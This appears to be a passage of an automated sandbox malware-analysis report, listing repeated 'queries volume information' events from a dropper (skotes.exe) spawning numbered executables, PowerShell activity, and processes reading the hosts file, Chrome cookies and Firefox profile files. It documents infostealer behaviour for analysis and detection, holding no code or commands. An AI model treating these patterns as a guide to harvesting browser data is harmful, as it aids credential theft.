Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019672001\bc893816fa.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019672001\bc893816fa.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019674001\fdd59fd4bc.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019674001\fdd59fd4bc.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019676001\6cc6a39605.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019676001\6cc6a39605.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019677001\fbaaecbd82.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019677001\fbaaecbd82.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019678001\e577d0589a.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019678001\e577d0589a.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019679001\cd81608004.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019679001\cd81608004.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019680001\92aba5cf15.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019680001\92aba5cf15.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019681001\e637491e0c.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019681001\e637491e0c.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019682001\62a707bc2a.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019682001\62a707bc2a.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019683001\796ecf2647.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019683001\796ecf2647.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019684001\178ba86573.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019684001\178ba86573.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe Queries volume information: C:\ VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\ VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\ VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
